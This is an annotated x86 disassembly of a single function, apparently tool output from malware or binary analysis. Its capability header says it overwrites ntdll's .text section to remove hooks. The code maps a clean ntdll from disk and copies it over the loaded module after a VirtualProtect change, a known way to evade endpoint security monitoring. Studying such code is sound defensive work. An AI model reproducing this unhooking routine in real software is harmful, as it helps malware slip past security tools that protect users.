Function at 0x401020
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Overwrite dll .text section to remove hooks
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x40], eax
push 0xc
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x40]
push edx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x24], eax
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push str.c:windows_system32_ntdll.dll
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x38], eax
push 0
push 0
push 0
push 0x1000002
push 0
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x3c], eax
push 0
push 0
push 0
push 4
mov edx, dword [ebp - 0x3c]
push edx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x24]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x30], edx
xor eax, eax
mov word [ebp - 0x18], ax
jmp 0x4010d3
mov cx, word [ebp - 0x18]
add cx, 1
mov word [ebp - 0x18], cx
movzx edx, word [ebp - 0x18]
mov eax, dword [ebp - 0x30]
movzx ecx, word [eax + 6]
cmp edx, ecx
jge 0x4011c9
mov edx, dword [ebp - 0x30]
movzx eax, word [edx + 0x14]
mov ecx, dword [ebp - 0x30]
lea edx, [ecx + eax + 0x18]
movzx eax, word [ebp - 0x18]
imul ecx, eax, 0x28
add edx, ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x2c], str..text
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
mov cl, byte [eax]
mov byte [ebp - 0x1d], cl
mov edx, dword [ebp - 0x2c]
cmp cl, byte [edx]
jne 0x40114a
cmp byte [ebp - 0x1d], 0
je 0x401141
mov eax, dword [ebp - 0x28]
mov cl, byte [eax + 1]
mov byte [ebp - 0x1e], cl
mov edx, dword [ebp - 0x2c]
cmp cl, byte [edx + 1]
jne 0x40114a
add dword [ebp - 0x28], 2
add dword [ebp - 0x2c], 2
cmp byte [ebp - 0x1e], 0
jne 0x40110d
mov dword [ebp - 0x34], 0
jmp 0x401152
sbb eax, eax
or eax, 1
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x48], ecx
cmp dword [ebp - 0x48], 0
jne 0x4011c4
mov dword [ebp - 8], 0
lea edx, [ebp - 8]
push edx
push 0x40
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 8]
push ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
add eax, dword [edx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 8]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x4c]
add ecx, dword [eax + 0xc]
push ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
add eax, dword [edx + 0xc]
push eax
call fcn.00404390
add esp, 0xc
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 8]
push ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
add eax, dword [edx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x4010c7
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x3c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401b3f
mov esp, ebp
pop ebp
ret